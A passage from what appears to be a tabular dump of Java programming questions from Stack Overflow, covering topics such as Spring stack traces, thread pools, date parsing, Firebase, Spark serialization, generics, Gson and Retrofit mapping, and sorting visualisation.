$ $ FastClassBySpringCGLIB $ $ 8e7566a6.invoke ( < generated > ) at org.springframework.cglib.proxy.MethodProxy.invokeSuper ( MethodProxy.java:228 ) at org.springframework.context.annotation.ConfigurationClassEnhancer $ BeanMethodInterceptor.intercept ( ConfigurationClassEnhancer.java:309 ) at de.test.spring.SolrJConfig $ $ EnhancerBySpringCGLIB $ $ dbd4362f.solrClient ( < generated > ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate ( SimpleInstantiationStrategy.java:162 ) at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod ( ConstructorResolver.java:588 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod ( AbstractAutowireCapableBeanFactory.java:1119 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance ( AbstractAutowireCapableBeanFactory.java:1014 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:504 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:476 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:303 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:299 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:194 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons ( DefaultListableBeanFactory.java:755 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:757 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:480 ) at de.test.WicketApplication.init ( WicketApplication.java:32 ) at org.apache.wicket.Application.initApplication ( Application.java:950 ) at org.apache.wicket.protocol.http.WicketFilter.init ( WicketFilter.java:429 ) at org.apache.wicket.protocol.http.WicketFilter.init ( WicketFilter.java:353 ) at org.apache.catalina.core.ApplicationFilterConfig.initFilter ( ApplicationFilterConfig.java:279 ) at org.apache.catalina.core.ApplicationFilterConfig.getFilter ( ApplicationFilterConfig.java:260 ) at org.apache.catalina.core.ApplicationFilterConfig. < init > ( ApplicationFilterConfig.java:105 ) at org.apache.catalina.core.StandardContext.filterStart ( StandardContext.java:4640 ) at org.apache.catalina.core.StandardContext.startInternal ( StandardContext.java:5247 ) at org.apache.catalina.util.LifecycleBase.start ( LifecycleBase.java:150 ) at org.apache.catalina.core.ContainerBase.addChildInternal ( ContainerBase.java:724 ) at org.apache.catalina.core.ContainerBase.addChild ( ContainerBase.java:700 ) at org.apache.catalina.core.StandardHost.addChild ( StandardHost.java:714 ) at org.apache.catalina.startup.HostConfig.deployWAR ( HostConfig.java:919 ) at org.apache.catalina.startup.HostConfig $ DeployWar.run ( HostConfig.java:1703 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:511 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:745 ),"Classloader leak because of invalid SSL certificate in SolrJ , HttpClient , JVM or my application ?" +Java,"I am building a multithreaded process that has a couple stages , each stage iterating through an unknown number of objects ( hundreds of thousands from a buffered query resultset or text file ) . Each stage will kick off a runnable or callable for each object , but all runnables/callables must complete before moving on to the next stage . I do not want to use a latch or any kind of synchronizer because I do n't want to hurt the throughput . I suspect the latch 's internals will slow things down with the synchronized counter . I also do n't want to use a list of futures with invokeAll ( ) either because I want to start execution of runnables immediately as I iterate through them . However , creating a ThreadPoolExecutor for each stage , looping through and submitting all the runnables , and then shutting it down for each stage seems to be a functional solution ... However , I know that setting up threads , threadpools , and anything that involves concurrency is expensive to construct and destroy . Or maybe it is not that big of a deal and I 'm just being overly cautious about performance , because concurrency has expensive overhead no matter what . Is there a more efficient way of doing this ? Using some kind of wait-for-completion operation I do n't know about ?",public void runProcess ( ) { ResultSet rs = someDbConnection.executeQuery ( someSQL ) ; ExecutorService stage1Executor = Executors.newFixedThreadPool ( 9 ) ; while ( rs.next ( ) ) { //SUBMIT UNKNOWN # OF RUNNABLES FOR STAGE 1 } rs.close ( ) ; stage1Executor.shutdown ( ) ; rs = someDbConnection.executeQuery ( moreSQL ) ; ExecutorService stage2Executor = Executors.newFixedThreadPool ( 9 ) ; while ( rs.next ( ) ) { //SUBMIT UNKNOWN # OF RUNNABLES FOR STAGE 2 } rs.close ( ) ; stage2Executor.shutdown ( ) ; },Reusing ThreadPoolExecutor vs Creating and Disposing Ad Hoc ? +Java,"im want to parse a date String to a Date . I was looking in some other questions , but I did n't find an answer.The error message is java.text.ParseException : Unparseable date : `` [ 31.10.2013 17:57:58 CET ] '' and I do n't know what 's wrong.Can you help me please.Thanks in advance.Edit : ok. i canged it to english , but i'have still the same problem . I would n't like to change the input , because it comes from a mail database . Any other ideas ? I found the problem . I was blind . The Sting from the Database was [ 31.10.2013 17:57:58 CET ] , not 31.10.2013 17:57:58 CETThank you .","String mail_delivered = `` 31.10.2013 17:57:58 CET '' ; try { DateFormat df = new SimpleDateFormat ( `` dd.MM.yyyy HH : mm : ss z '' , Locale.GERMAN ) ; Date result = df.parse ( mail_delivered ) ; System.out.println ( result ) ; } catch ( ParseException pe ) { pe.printStackTrace ( ) ; } String mail_delivered = `` 31.10.2013 17:57:58 CET '' ; try { DateFormat df = new SimpleDateFormat ( `` dd.MM.yyyy HH : mm : ss z '' , Locale.ENGLISH ) ; Date result = df.parse ( mail_delivered ) ; System.out.println ( result ) ; } catch ( ParseException pe ) { pe.printStackTrace ( ) ; }",Unable to parse date String to Date +Java,"I am working through the CodingBat exercises for Java . I came across the following question : Given 2 arrays that are the same length containing strings , compare the 1st string in one array to the 1st string in the other array , the 2nd to the 2nd and so on . Count the number of times that the 2 strings are non-empty and start with the same char . The strings may be any length , including 0 . My code is this : My question is : Which 'placeholder ' character would be considered good practice to use to avoid unwanted comparison between firstLetterA and firstLetterB ? In this case , I have simply assigned two differing letters that are seldom used ( at least , in English ) . I tried just using `` ( an empty character , not a space ) but of course , they match each other . I also tried using null for both , because I assumed it could not be positively compared , but that causes problems too .","public int matchUp ( String [ ] a , String [ ] b ) { int count = 0 ; for ( int i = 0 ; i < a.length ; i++ ) { String firstLetterA = a [ i ] .length ( ) == 0 ? `` ê '' : a [ i ] .substring ( 0 , 1 ) ; String firstLetterB = b [ i ] .length ( ) == 0 ? `` é '' : b [ i ] .substring ( 0 , 1 ) ; if ( firstLetterA.equals ( firstLetterB ) ) { count++ ; } } return count ; }",'Placeholder ' character to avoid positive comparison ? +Java,"I want to add in Firebase multiple data when a user registers to my app , including a node `` Scores '' with some children , but I do n't know how to add it . Firebase Database : And here is the code in Android Studio :","`` Users '' : { `` L89LA3099j-VAhi5Y5P '' : { `` Admin '' : false , `` Email '' : `` example @ domain.com '' , `` Nickname '' : `` Anonymous '' , `` Picture '' : `` https : //firebasestorage.googleapis.com/v0/b/cul ... '' , `` Scores '' : { `` Arts '' : 0 , `` Classical music '' : 0 , `` Literature '' : 0 } } } FirebaseAuth.getInstance ( ) .createUserWithEmailAndPassword ( email , password ) .addOnCompleteListener ( UserRegistration.this , new OnCompleteListener < AuthResult > ( ) { @ Override public void onComplete ( @ NonNull Task < AuthResult > task ) { if ( ! task.isSuccessful ( ) ) { Toast.makeText ( UserRegistration.this , `` Invalid email or already existed email ! `` , Toast.LENGTH_SHORT ) .show ( ) ; } else { DatabaseReference usersRef = FirebaseDatabase.getInstance ( ) .getReference ( ) .child ( `` Users '' ) ; HashMap < String , Object > user_data = new HashMap < > ( ) ; user_data.put ( `` Admin '' , false ) ; user_data.put ( `` Email '' , email ) ; // I got it correctly from EditText user_data.put ( `` Picture '' , `` https : //firebasestorage.googleapis.com/v0/b/cul ... '' ) ; user_data.put ( `` Nickname '' , `` Anonymous '' ) ; usersRef.child ( `` Users '' ) .push ( ) .setValue ( user_data ) ; DatabaseReference scores_ref = usersRef.child ( `` Scores '' ) ; // I guess it 's wrong to do it like this HashMap < String , Integer > user_scores = new HashMap < > ( ) ; user_scores.put ( `` Arts '' , 0 ) ; user_scores.put ( `` Classical music '' , 0 ) ; user_scores.put ( `` Literature '' , 0 ) ; // and now how to add Scores node inside the created user ?",Firebase - generate child with children for a registered user +Java,"CONTEXTI am executing a Spark tool ( if interested , this is the Spark tool ) on a Spark cluster . The tool is reading an input file from HDFS and will generate an output file in HDFS.I have 2 Azure VM , with a Spark Master container , a Namenode container , two Spark Worker containers and two Datanode containers ( more two containers to provide a file required by the tool , but I do n't thin it 's important ) , provisioned with Docker Swarm.This is the Bash command that I use to run the Spark tool : PROBLEMAfter some hours I receive this error : Searching even here on Stack Overflow I found this issue with similar Exception , it basically suggests to add something like thisin Java code . But the Spark tool that I am using , is actually using the serialVerionUID , moreover the exception suggests that is raised by org.apache.spark.internal.io.HadoopMapReduceCommitProtocol , which seems to extend Serializable , but does n't use a serialVerionUID ; am I supposed to open an issue on Spark GitHub and report this exception or am I doing something wrong ? Sorry if too verbose , if necessary more details feel free to ask .","/gatk/gatk BwaAndMarkDuplicatesPipelineSpark \ -- input hdfs : //namenode:8020/PFC_0028_SW_CGTACG_R_fastqtosam.bam \ -- reference hdfs : //namenode:8020/hg19-ucsc/ucsc.hg19.2bit \ -- bwa-mem-index-image /reference_image/ucsc.hg19.fasta.img \ -- disable-sequence-dictionary-validation true \ -- output hdfs : //namenode:8020/PFC_0028_SW_CGTACG_R_dedup_reads.bam \ -- -- spark-runner SPARK -- spark-master spark : // $ SPARK_MASTER_HOST:7077 \ -- driver-memory 30g -- executor-cores 4 -- executor-memory 15g 18/02/08 23:10:42 WARN TaskSetManager : Lost task 15.0 in stage 5.0 ( TID 3087 , 10.0.0.10 , executor 0 ) : java.io.InvalidClassException : org.apache.spark.internal.io.HadoopMapReduceCommitProtocol ; local class incompatible : stream classdesc serialVersionUID = -3240062154626659006 , local class serialVersionUID = 8531775026770993759 private static final long serialVersionUID = 6529685098267757690L ;",java.io.InvalidClassException : org.apache.spark.internal.io.HadoopMapReduceCommitProtocol ; local class incompatible +Java,"With the release of Eclipse 's java 8 support , I understood that null annotations on types ( JSR 308 ) were possible , as described here.I have installed JDK8 , and the Java 8 feature patch for Eclipse Kepler.I was expecting to be able to declare a list that does not allow nulls like this : However , the compiler tells me that `` The annotation @ NonNull is disallowed for this location '' : ( My project is configured to use compiler compliance level 1.8 , and the org.eclipse.jdt.annotation jar is included in the class path.What am I missing here ? Regards ,",List < @ NonNull String > nonulls ;,How to enable JSR308 null annotations on types in Eclipse ? +Java,"I am having trouble getting a separate copy of my HashMaps . By that I mean , once I have made a copy of the original , making a change to one does not change the other.I have two HashMaps in this format : I call the following function below ( getTabSetDifferences ) passing in one and two , as expected if there are some differences , those values will be removed from the HashMapand it 'll be different than before it was passed in for the test.I want them to remain unchanged , so tried passsing in : This still changed the originals , so i created two more hashmaps in the same format , and cloned one and two to them , I used the new hashmaps to passin , and the original was still changed.I then tried : Now I can do something like : and the original is not changed , but if i call the method with holdOne and holdTwo it still changes the original one and two hashmaps , should n't they remain ? The method is working , and finding the differences i want , and is returned . But I still need the original two hashmaps to be as they were , but no matter whichway I call , what ever changes are made to holdOne and holdTwo changes the originals . Is that the expected behavior ? If so , what is the proper wayto get a copy of a hashmap that is not tied to it .","HashMap < String , List < String > one = new HashMap < String , List < String > ( ) ; HashMap < String , List < String > two = new HashMap < String , List < String > ( ) ; getTabSetDifferences ( ( HashMap ) one.clone ( ) , ( HashMap ) two.clone ( ) ) HashMap < String , List < String > > holdOne = new HashMap < String , List < String > > ( ) ; holdOne.putAll ( one ) ; HashMap < String , List < String > > Holdtwo = new HashMap < String , List < String > > ( ) ; holdTwo.putAll ( two ) ; holdTwo.remove ( key ) ; getTabSetDifferences ( holdOne , holdTwo ) ; public HashMap < String , List < String > > getTabSetDifferences ( HashMap < String , List < String > > hmMain , HashMap < String , List < String > > hmSecond ) { HashMap < String , List < String > > hmDifferences = new HashMap < String , List < String > > ( ) ; for ( Map.Entry < String , List < String > > entry : hmMain.entrySet ( ) ) { if ( hmSecond.containsKey ( entry.getKey ( ) ) ) { entry.getValue ( ) .removeAll ( hmSecond.get ( entry.getKey ( ) ) ) ; if ( entry.getValue ( ) .size ( ) > 0 ) hmDifferences.put ( entry.getKey ( ) , entry.getValue ( ) ) ; } else { hmDifferences.put ( entry.getKey ( ) , entry.getValue ( ) ) ; } } return hmDifferences ; }",HashMap Copy behavior I ca n't figure out +Java,"My Android TV app fetches images from a server and displays it on the home screen . The problem is , all the images that are not focused , i.e . not selected contains a black transparent background . The only image that does not contain a transparent background is the currently selected image . I ensured that the images were pngs . As soon as the image is focused , the background is removed.I 'm not using a LinearLayout or anything in the .xml , just a GridItemPresenter class.What is causing this and how can I fix this ? I tried to add the following view.setBackgroundColor ( Color.TRANSPARENT ) but that has no effect . Here 's my code : The face contains a black background when un-selected , but since it is selected , the background is not there :","private class GridItemPresenter extends Presenter { public ViewHolder onCreateViewHolder ( ViewGroup parent ) { ImageView view = new ImageView ( parent.getContext ( ) ) ; view.setBackgroundColor ( Color.TRANSPARENT ) ; view.setLayoutParams ( new ViewGroup.LayoutParams ( ( int ) x , ( int ) y ) ) ; view.setFocusable ( true ) ; view.setFocusableInTouchMode ( true ) ; return new ViewHolder ( view ) ; } public void onBindViewHolder ( ViewHolder viewHolder , Object item ) { ImageView imageView = ( ( ImageView ) viewHolder.view ) ; } public void onUnbindViewHolder ( ViewHolder viewHolder ) { ImageView imageView = ( ( ImageView ) viewHolder.view ) ; } }",Android TV : unfocused image contains black transparent background ? +Java,"Suppose you have the following codethis will print 0 2Now , if you remove line labeled `` this line '' the code will print 4 4I understand that if there was no int i=2 ; line , A a = new B ( ) ; will call class A , initializes i as 4 , call constructor , which gives control over to print ( ) method in class B , and finally prints 4. a.print ( ) will call print ( ) method in class B because the methods will bind at runtime , which will also use the value defined at class A , 4 . ( Of course if there is any mistake in my reasoning , let me know ) However , what i do n't understand is if there is int i=2.why is it that if you insert the code , the first part ( creating object ) will all of sudden print 0 instead of 4 ? Why does it not initialize the variable as i=4 , but instead assigns default value ?",class A { int i = 4 ; A ( ) { print ( ) ; } void print ( ) { System.out.println ( `` A '' ) ; } } class B extends A { int i = 2 ; // '' this line '' public static void main ( String [ ] args ) { A a = new B ( ) ; a.print ( ) ; } void print ( ) { System.out.println ( i ) ; } },Initialization in polymorphism of variables +Java,"I have a map of KClass to Int . I then have a function which has a reified generic type . I 'd then expect the following situation , thus , to give me the Int associated with Boolean : :classI 'm greeted with Why does n't it work ? : ' ( . Expected < 1 > , actual < null > . from a call to it like this myExpectations < Boolean > ( ) .I then tried to use .java off , so I was using Java 's Class rather than Kotlin 's KClass.This time I was again greeted by assertion error : java.lang.AssertionError : Expected < 1 > , actual < null > .Finally I tried using .javaClass rather than .java : This time it was really strange . I was greeted with this : java.lang.AssertionError : Expected < 1 > , actual < 2 > . This seems to be because all .javaClass refer to KClassImpl.Finally I resorted to what I did n't want to do , use .qualifiedName : Which of course works and is what I use in my actual use case : https : //github.com/Jire/kotmem/blob/master/src/main/kotlin/org/jire/kotmem/Process.kt","val kclassToInt = mapOf ( Boolean : :class to 1 , Byte : :class to 1 , Short : :class to 2 ) inline fun < reified T > myExpectations ( ) = assertEquals ( 1 , kclassToInt.getRaw ( T : :class ) , `` Why does n't it work ? : ' ( `` ) val classToInt = mapOf ( Boolean : :class.java to 1 , Byte : :class.java to 1 , Short : :class.java to 2 ) inline fun < reified T : Any > anotherExpectation ( ) = assertEquals ( 1 , classToInt.getRaw ( T : :class.java ) ) val javaClassToInt = mapOf ( Boolean : :class.javaClass to 1 , Byte : :class.javaClass to 1 , Short : :class.javaClass to 2 ) inline fun < reified T > pleaseWork ( ) = assertEquals ( 1 , javaClassToInt.getRaw ( T : :class.javaClass ) ) val qnToInt = mapOf ( Boolean : :class.qualifiedName to 1 , Byte : :class.qualifiedName to 1 , Short : :class.qualifiedName to 2 ) inline fun < reified T > iKnowItWorks ( ) = assertEquals ( 1 , qnToInt.getRaw ( T : :class.qualifiedName ) )",Kotlin : Reified generics do n't seem to work right for hash/equals comparisons +Java,Is it okay to obtain a reference to a service from factory once and use it for handling multiple requests ? It can be best explained using following pseudo-code for a servlet : It may be a premature optimization but i am just curious to know what is the cost of obtaining service for each request . Please share your insight .,SomeServlet ... { MemcacheService memcacheService = MemcacheServiceFactory.getMemcacheService ( ) ; UserService userService = UserServiceFactory.getUserService ( ) ; DatastoreService datastoreService = DatastoreServiceFactory.getDatastoreService ( ) ; doGet ( ... ) { userService.doSomething ( ... ) ; } ... },Are Google App Engine ( java ) service classes Thread-Safe ? +Java,I have noticed that there are two ways to cast objects ( the difference is the placement of the outer parenthesis ) : Are they doing the same thing ?,1 . SimpleType simpleType = ( ( SimpleType ) ( property.getType ( ) ) ) ; 2 . SimpleType simpleType = ( ( SimpleType ) property ) .getType ( ) ;,Issue about casting object brackets +Java,"A String can be painted like that : The problem is that if I do g2d.setFont ( new Font ( `` Arial '' , Font.PLAIN , 12 ) ) ; - Japanese characters are not visible , just squares instead : And if I set font like g2d.setFont ( new Font ( `` Serif '' , Font.PLAIN , 12 ) ) ; - everything works fine : For example , in MS WordPad the characters are visible if Arial font is selected : But I want to use Arial font . Maybe I have to detect Japanese character and switch to different font , and then back again ?","@ Overridepublic void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; Graphics2D g2d = ( Graphics2D ) g.create ( ) ; try { g2d.setColor ( Color.BLACK ) ; g2d.setFont ( new Font ( `` Serif '' , Font.PLAIN , 12 ) ) ; //Japanese characters are visible //g2d.setFont ( new Font ( `` Arial '' , Font.PLAIN , 12 ) ) ; //Japanese characters are not visible ( squares only ) g2d.drawString ( `` Berryz工房 『ROCKエロティック』 ( Berryz Kobo [ Erotic ROCK ] ) (MV) '' , 10 , 45 ) ; } finally { g2d.dispose ( ) ; } }",Painting Japanese characters using Arial fonts with method drawString ( .. ) ( Graphics2D ) +Java,How would I call a Random from java.util.Random into a supertype constructor ? For exampleWhen I try this the compiler says that I `` can not reference randomValue before supertype constructor has been called '' .,Random rand = new Random ( ) ; int randomValue = rand.nextInt ( 10 ) + 5 ; public Something ( ) { super ( randomValue ) ; //Other Things },Using randoms and super +Java,"Implemented a custom deserializer to deserialize a JSON by the following way . but mapper.treeToValue is causing to call the code infinite number of times.After executing mapper.treeToValue , control again goes back myResourcedeserialize method and executing it infinite number of times and causing stackOverFlowError.Any suggestions please ?","public class MyDeserializer extends StdDeserializer < MyResource > { @ Override public myResourcedeserialize ( JsonParser parser , DeserializationContext context ) throws IOException , JsonProcessingException { MyResource resource = null ; Class < ? extends MyResource > clazz = null ; ObjectMapper mapper = ( ObjectMapper ) parser.getCodec ( ) ; ObjectNode node = ( ObjectNode ) mapper.readTree ( parser ) ; Iterator < Map.Entry < String , JsonNode > > elementsIterator = node.fields ( ) ; while ( elementsIterator.hasNext ( ) ) { Map.Entry < String , JsonNode > element = elementsIterator.next ( ) ; if ( element.getKey ( ) .equals ( `` typeId '' ) ) { if ( element.getValue ( ) .asInt ( ) == 1 ) { clazz = SpecificResource.class ; break ; } } } return mapper.treeToValue ( node , clazz ) ; }",Json custom deserializer stuck in infinite recursion +Java,"I am using retrofit version 2.1.0 to deserialize JSON into pojos . A field in the pojo can be received under different names in the json . To deserialize the field correctly , I used the @ serializedName annotation in the following way : However , for some reason , when the resulting JSON has the field under the key `` title '' , Gson reads it correctly , but when the field is associated with the `` name '' key , it does not get read.How can I get GSON to recognize the alternate name during deserialization ?","@ AutoValuepublic abstract class Media implements Parcelable { @ SerializedName ( value = `` title '' , alternate = { `` name '' } ) public abstract String title ( ) ; // More fields and code","Unable to deserialize alternate name with GSON , AutoValue , and Retrofit 2" +Java,"I 'm not able to run an uima ruta script in my simple pipeline . I 'm working with the next libraries : Uimafit 2.0.0Uima-ruta 2.0.1ClearTK 1.4.1MavenAnd I 'm using a org.apache.uima.fit.pipeline.SimplePipeline with : What I 'm trying to do is to use the StandfordNLP annotator ( from ClearTK ) and apply a ruta script.Currently , everything runs without errors and the default ruta annotations are being added to the CAS , but the annotations that my rules create are not being added to the CAS.My script is : Looking at the annotated file : The basic ruta annotations like `` SPACE '' or `` SW '' are there , so the RutaEngine is being created and added to the pipeline ... How do I properly create an AnalysisEngineDescriptor to run a Ruta script ? Notes : RUTA_ANALYSIS_ENGINE Its the engine descriptor that I copy from the RUTA workbench .","SimplePipeline.runPipeline ( UriCollectionReader.getCollectionReaderFromDirectory ( filesDirectory ) , //directory with text files UriToDocumentTextAnnotator.getDescription ( ) , StanfordCoreNLPAnnotator.getDescription ( ) , //stanford tokenize , ssplit , pos , lemma , ner , parse , dcoref AnalysisEngineFactory.createEngineDescription ( RUTA_ANALYSIS_ENGINE ) , //RUTA script AnalysisEngineFactory.createEngineDescription ( // XWriter.class , XWriter.PARAM_OUTPUT_DIRECTORY_NAME , outputDirectory , XWriter.PARAM_FILE_NAMER_CLASS_NAME , ViewURIFileNamer.class.getName ( ) ) ) ; PACKAGE edu.isistan.carcha.concern ; TYPESYSTEM org.cleartk.ClearTKTypeSystem ; DECLARE persistenceToken { FEATURE ( `` lemma '' , '' storage '' ) - > MARK ( persistence ) } ;",How to create an AnalysisEngineDescriptor from an uima-ruta script to use in a SimplePipeline +Java,"I need a hashCode implementation in Java which ignores the order of the fields in my class Edge . It should be possible that Node first could be Node second , and second could be Node first.Here is my method is depend on the order : Is there a way to compute a hash which is for the following Edges the same but unique ? ab.hashCode ( ) == ba.hashCode ( ) should be true .","public class Edge { private Node first , second ; @ Override public int hashCode ( ) { int hash = 17 ; int hashMultiplikator = 79 ; hash = hashMultiplikator * hash + first.hashCode ( ) ; hash = hashMultiplikator * hash + second.hashCode ( ) ; return hash ; } } Node n1 = new Node ( `` a '' ) ; Node n2 = new Node ( `` b '' ) ; Edge ab = new Edge ( n1 , n2 ) ; Edge ba = new Edge ( n2 , n1 ) ;",Unique hashCode with two fields without order +Java,Above code does not compile ! Compiler says these are duplicate methods . So using String array or String var-args exactly mean the same ? How are they implemented internally ?,class WrongOverloading { void something ( String [ ] a ) { .. } Integer something ( String ... aaa ) { return 1 ; } },Are String [ ] and String ... ( Var-args ) same when they work internally ? +Java,"I make a simple HTTP GET request with retrofit and try to map the json response to my model . The thing is , the json return an array of multiples Shapes , the Shape is an abstract class , so it could be a Square , Circle , etc . Every shape has his own specified model , so different fields . How can I map this array of Shape to the model ? The web service json response Main result mapping : Abstract class : Circle : Square :","{ `` requestId '' : 0 , `` totalShapes '' : 2 , `` shapes '' : [ { `` circle '' : { `` code '' : 1 , `` radius '' : 220 `` color '' : `` blue '' } } , { `` square '' : { `` code '' : 1 , `` size '' : 220 } } ] } public class Result { @ SerializedName ( `` requestId '' ) private int requestId ; @ SerializedName ( `` totalShapes '' ) private int totalShapes ; @ SerializedName ( `` shapes '' ) private List < Shape > shapes ; } public abstract class Shape implements Serializable { } public class Circle { @ SerializedName ( `` code '' ) private int code ; @ SerializedName ( `` radius '' ) private int radius ; @ SerializedName ( `` color '' ) private String color ; // + getters ... } public class Square { @ SerializedName ( `` code '' ) private int code ; @ SerializedName ( `` size '' ) private int size ; // + getters ... }",Retrofit GSON response abstract mapping +Java,"I 'm attempting to produce some classes to control a model-view-presenter application . I 've come up with the following definitions , but am struggling to avoid recursive generics.I wanted to enforce a mutual relationship between the two classes . The idea being that I could instantiate a Presenter for a particular View , with both classes relying on useful methods defined in the abstract base classes , yet both knowing exactly what subclass of the counterpart abstract class is in use.My issues is the defining the .. ? part of the code . I ca n't see a way to avoid a recursive situation , such as : and even that definition is not consistent , as the View class now takes two generic parameters ... mass confusion.I basically wanted to avoid the classes being littered with references to the abstract class type , necessitating lots of casting throughout the concrete implementations , as below : Each concrete implementation of these classes would need to constantly cast from the abstract type to the type it `` knows '' is in use .","public abstract class Presenter < V extends View < ... ? > > { protected V view ; public Presenter ( V view ) { this.view = view ; } // ... } public abstract class View < P extends Presenter < ... ? > > { protected P presenter ; // ... } public abstract class View < P extends Presenter < V > , V extends View < Q > , Q extends ... > // simpler optionpublic abstract class Presenter { protected View view ; public Presenter ( View view ) { this.view = view ; } } public class FooPresenter extends Presenter { public FooPresenter ( BarView view ) { super ( view ) ; } public someMethod ( ) { ( ( BarView ) getView ( ) ) .viewSpecificMethod ( ) ; } }",Possibly recursive Java generics between two classes +Java,"Sometimes I see this in other people 's code . But when I try , it returns null .","baseUrl = org.company.UploadService.class.getResource ( `` . `` ) ; url = new URL ( baseUrl , `` http : //192.168.164.32:9080/mka-web/services/UploadService ? wsdl '' ) ;",Does class.getResource ( `` . '' /*dot*/ ) have any special meaning ? +Java,"For the following code sample : Lines 1 , 3 , and 4 do not compile : ( line 1 ) ( line 3 ) ( line 4 ) Lines 2 and 5 , however , compile.Could anyone explain why lines 1 , 3 , and 4 are not legal assignments ? And if wildcard parameters can not be used in that way on those lines , then why is the assignment on line 2 legal ?",public static class Abc < X > { } public static class Def < Y > { } public static class Ghi < Z > { } public void doThis ( ) { List < ? > listOne ; List < Abc < ? > > listTwo ; List < Abc < Def < ? > > > listThree ; List < Abc < Def < Ghi < ? > > > > listFour ; List < Abc < Def < Ghi < String > > > > listFive ; Abc < Def < Ghi < String > > > abcdef ; abcdef = new Abc < Def < Ghi < String > > > ( ) ; listOne.add ( abcdef ) ; // line 1 listTwo.add ( abcdef ) ; // line 2 listThree.add ( abcdef ) ; // line 3 listFour.add ( abcdef ) ; // line 4 listFive.add ( abcdef ) ; // line 5 } The method add ( capture # 1-of ? ) in the type List < capture # 1-of ? > is not applicable for the arguments ( Abc < Def < Ghi < String > > > ) The method add ( Abc < Def < ? > > ) in the type List < Abc < Def < ? > > > is not applicable for the arguments ( Abc < Def < Ghi < String > > > ) The method add ( Abc < Def < Ghi < ? > > > ) in the type List < Abc < Def < Ghi < ? > > > > is not applicable for the arguments ( Abc < Def < Ghi < String > > > ),Java Generics : assignment with nested wildcard parameters +Java,"I implemented different type of sorting ( bubble , insertion , selection ) . Know I want to compare their implementations like the following for each sort ( here 's an example with the bubble sort ) : For example , here 's my bubble sort : I started the GUI and I placed 1000 random points on it and the line y=x : Here 's what I 've done : Now I 'm stuck , I have no idea about how to start . Could anyone indicate me the steps/ hints to follow to implement that ? Thanks : )","private static int [ ] bubbleSort ( int [ ] tabToSort ) { int [ ] tab = tabToSort.clone ( ) ; boolean tabSort = false ; while ( ! tabSort ) { tabSort = true ; for ( int i = 0 ; i < tab.length -1 ; i++ ) { if ( tab [ i ] > tab [ i+1 ] ) { int temp = tab [ i+1 ] ; tab [ i+1 ] = tab [ i ] ; tab [ i ] = temp ; tabSort = false ; } } } return tab ; } @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; Graphics2D g2d = ( Graphics2D ) g ; g2d.setColor ( Color.BLACK ) ; Dimension size = getSize ( ) ; Insets insets= getInsets ( ) ; int w = size.width - insets.left - insets.right ; int h = size.height - insets.top - insets.bottom ; g2d.drawLine ( size.width ,0 , 0 , size.height ) ; Random r = new Random ( ) ; for ( int i =0 ; i < 1000 ; i++ ) { int x = Math.abs ( r.nextInt ( ) ) % w ; int y = Math.abs ( r.nextInt ( ) ) % h ; Point p = new Point ( x , y ) ; g2d.drawLine ( p.x , p.y , p.x , p.y ) ; } }",Compare sorting algorithm +Java,"I have been reading the Java Language Spec , 3rd edition , and have found what I think is a discrepancy between the spec and the javac compiler implementation . The same discrepancies exist in the Eclipse compiler.Section 15.16 talks about cast expressions . It says that it should be a compile time error if the argument type can not be converted to the cast type via casting conversion ( section 5.5 ) : It is a compile-time error if the compile-time type of the operand may never be cast to the type specified by the cast operator according to the rules of casting conversion ( §5.5 ) . Otherwise , at run-time , the operand value is converted ( if necessary ) by casting conversion to the type specified by the cast operator.Section 5.5 talks about casting conversion . It gives a list of conversion types which are allowed . Specifically absent from the list is `` unboxing conversion followed by widening/narrowing primitive conversion '' . However that exact sequence of conversions does seem to be allowed by the javac compiler ( and also the Eclipse compiler ) . For instance : ... compiles just fine . ( The problematic cast is the cast to long ; the argument is of type java.lang.Integer , so the conversion requires unboxing to int followed by a widening primitive conversion ) .Likewise , according to the JLS it should not be possible to cast from byte to char , because that ( according to 5.1.4 ) requires a widening primitive conversion and a narrowing primitive conversion - however , this cast is also allowed by the compilers.Can anyone enlighten me ? Edit : since asking this , I have filed a bug report with Oracle . Their response is that this is a `` glitch in the JLS '' .",long l = ( long ) Integer.valueOf ( 45 ) ;,"Java casting : is the compiler wrong , or is the language spec wrong , or am I wrong ?" +Java,"I read that since Java 7 , creating Collections with specifying the type on the right side like in the first statement is bad style because the compiler can infer the type from the left side . My question is when initializing the list like this , the compiler does not find the type and I get an unchecked type warning :",List < Integer > myList = new ArrayList < Integer > ( ) ; List < Integer > myList = new ArrayList ( ) ;,Why type is not inferred when leaving away generics operator +Java,"I have an open API spec with a parameter like this : when I get the `` platform '' parameter from URL , it can be like this : but when I am going to use it , it is only valid if the parameter is all lower case like `` platform=online '' , obviously to match the enum value.how can I make schema to be the case insensitive and understand all types of passed 